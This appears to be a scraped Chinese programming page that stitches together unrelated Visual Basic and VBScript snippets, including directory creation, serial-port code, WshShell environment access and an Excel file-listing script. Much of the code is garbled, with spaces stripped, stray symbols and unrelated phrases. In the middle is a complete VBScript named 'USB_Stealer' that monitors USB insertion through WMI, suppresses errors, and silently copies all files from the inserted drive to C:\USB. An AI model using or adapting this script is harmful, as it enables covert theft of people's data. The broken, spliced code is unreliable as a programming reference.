注意,网卡地址将在一信息框中显示出来objRegistry.EnumValues HKEY_LOCAL_MACHINE, strKeyPath, arrEntryNames
用redima(3)可以重新分配存储空间WAV文件基本信息包括如是否立体声,采样频率等
外面很冷PrivateDeclareFunctionCreateDirectoryLib"kernel32"Alias"CreateDirectoryA"(ByVallpPathNameAsString,lpSecurityAttributesAsSECURITY_ATTRIBUTES)AsLong
PrivateTypeSECURITY_ATTRIBUTES
nLengthAsLong
lpSecurityDescriptorAsLong
bInheritHandleAsLong
EndType
SubMain()
'在C盘创建了"VB编程乐园"目录
CallCreateNewDirectory("C:\VB编程乐园")
MsgBox"在C盘创建了VB编程乐园目录"
EndSub
PublicSubCreateNewDirectory(NewDirectoryAsString)
DimsDirTestAsString
DimSecAttribAsSECURITY_ATTRIBUTES
DimbSuccessAsBoolean
DimsPathAsString
DimiCounterAsInteger
DimsTempDirAsString
DimiFlagAsInteger
iFlag=0
sPath=NewDirectory
IfRight(sPath,Len(sPath))<>""Then
sPath=sPath&""
EndIf
iCounter=1
DoUntilInStr(iCounter,sPath,"")=0
iCounter=InStr(iCounter,sPath,"")
sTempDir=Left(sPath,iCounter)
sDirTest=Dir(sTempDir)
iCounter=iCounter 1
'创建目录
SecAttrib.lpSecurityDescriptor=&O0
SecAttrib.bInheritHandle=False
SecAttrib.nLength=Len(SecAttrib)
bSuccess=CreateDirectory(sTempDir,SecAttrib)
Loop
EndSub->
'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website :
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder="C:\USB"
Call Main()
Sub Main()
On Error Resume Next
Const Device_Arrival=2
Const Device_Removal=3
Const strComputer="."
Dim objWMIService, colMonitoredEvents, objLatestEvent
Set objWMIService=GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents=objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent=colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub
Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso=CreateObject("scripting.filesystemobject")
If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If
For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder & "" & file.Name,True
Next
For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder & "" & folder.Name,True
Next
End Sub
下位机定时发送数据:
SubTimer1-Timer()
Ifcomm1.CDHoldingΙΛcdThen
str1$-text1(i).Text
strin2$Κstrin1$′上一字符串
strin1$Κstr1$′当前字符串
strin3$ΚFormat$(Len(strin1$),″0000″)&chr$(8)&strin2$
′传送当前字符串长度,以及上一字符串内容
comm1.OutPutΚstrin3$
DoDoEventsLoopUntilcomm1.OutBufferCountΚ0
Else
Timer1.EnabledΚ0
EndIf
EndSub
上位机检测CD状态,判断是否连通、并接收处理数据
示例
'' Retrieve the NUMBER_OF_PROCESSORS system environment variable
Set WshShell=Wscript.CreateObject("Wscript.Shell")
Set WshSysEnv=WshShell.Environment("SYSTEM")
Wscript.Echo WshSysEnv("NUMBER_OF_PROCESSORS")
请参阅
WshEnvironment 对象
WshEnvironment 对象
WshEnvironment 对象未直接给出,可用 WshShell.Environment 属性来访问博物馆范文Commamd1执行一个费时的操作,包括调用多个过程和函数,而Command2则是终止/暂停Command1的运行,不是退出该程序,不知用VB5.0如何解决?
答:你可以采用一种变通的方法,在程序中定义一个Boolean变量,在执行command1中的程序时监视该变量,如果为False退出程序,在command2中加入代码,只要点击command2就将该变量设置为False下面是例程
DimbMarkAsBoolean
PrivateSubCommand1_Click()
bMark=True
ForI=1To150000'Startloop.
DoEvents'Yieldtooperatingsystem.
Text1.Text=Str(I)
IfNotbMarkThen
ExitSub
EndIf
NextI'Incrementloopcounter
EndSub
PrivateSubCommand2_Click()
bMark=False
EndSub
问:有位大侠编了如下代码:
PrivateSubcmdCalendar_Click()
DimUserDateAsDate
UserDate=CVDate(txtDate)
IffrmCalendar.GetDate(UserDate)Then
txtDate=UserDate
EndIf
EndSub
'**********************2.To create the Folder and File object*********************************
If fso.FolderExists(FolderPath) Then
Set Folder=fso.GetFolder(FolderPath) 'This set command is neccessary!
Set Files=Folder.Files
fileNums=Files.Count
'Msgbox fileNums
For Each File In Folder.Files
if right(File.name,2)="rm" then
ReDim Preserve FileString(i) 'This is a Dynamic Array, so we should use the Redim command
'Be careful of the Preserve word, important!!!!
FileString(i)=File.Name
'MsgBox i & " " & FileString(i)
i=i+1
fileNums=i
End if
Next
End If
'**********************3.Create Excel and stroe the file name in it***************************
Dim objExcel
Dim objWorkbook
Set objExcel=WScript.CreateObject("Excel.Application")
objExcel.Workbooks.Add
objExcel.Visible=True
Set objWorkbook=objExcel.ActiveWorkbook
For ii=1 to fileNums
objWorkbook.Worksheets(1).Cells(ii,1)=FileString(ii-1)
Next
objWorkbook.Worksheets(1).Range("A1:A1").Columns.AutoFit
objExcel.DisplayAlerts=False
objWorkbook.SaveAs(FolderPath & "xiao.xls")
objWorkbook.Close()'Close the Workbook
objExcel.Quit()'Quit
Set fso=Nothing
'**********************4.Open the files and read the first line.******************************
Dim Range
Dim Range_i
Dim mfile
Dim sline
Dim iii
set fso=createobject("scripting.filesystemobject")
Set objExcel=WScript.CreateObject("Excel.Application")
objExcel.Visible=True
objExcel.Workbooks.open(FolderPath & "xiao.xls")
Set objWorkbook=objExcel.ActiveWorkbook
Set Range=objWorkbook.Activesheet.range("A1:A11")
For Range_i=1 to fileNums
set mfile=fso.opentextfile(Range(Range_i).value)
msgbox Range_i & " " & Range(Range_i).value
for iii=1 to 1
sline=mfile.readline
objWorkbook.Worksheets(1).Cells(Range_i,2)=sline
Next
mfile.close
Next
objWorkbook.Worksheets(1).Range("B1:B1").Columns.AutoFit
objExcel.DisplayAlerts=False
objWorkbook.SaveAs(FolderPath & "xiao.xls")
objWorkbook.Close()'Close the Workbook
objExcel.Quit()'Quit
Set fso=Nothing
。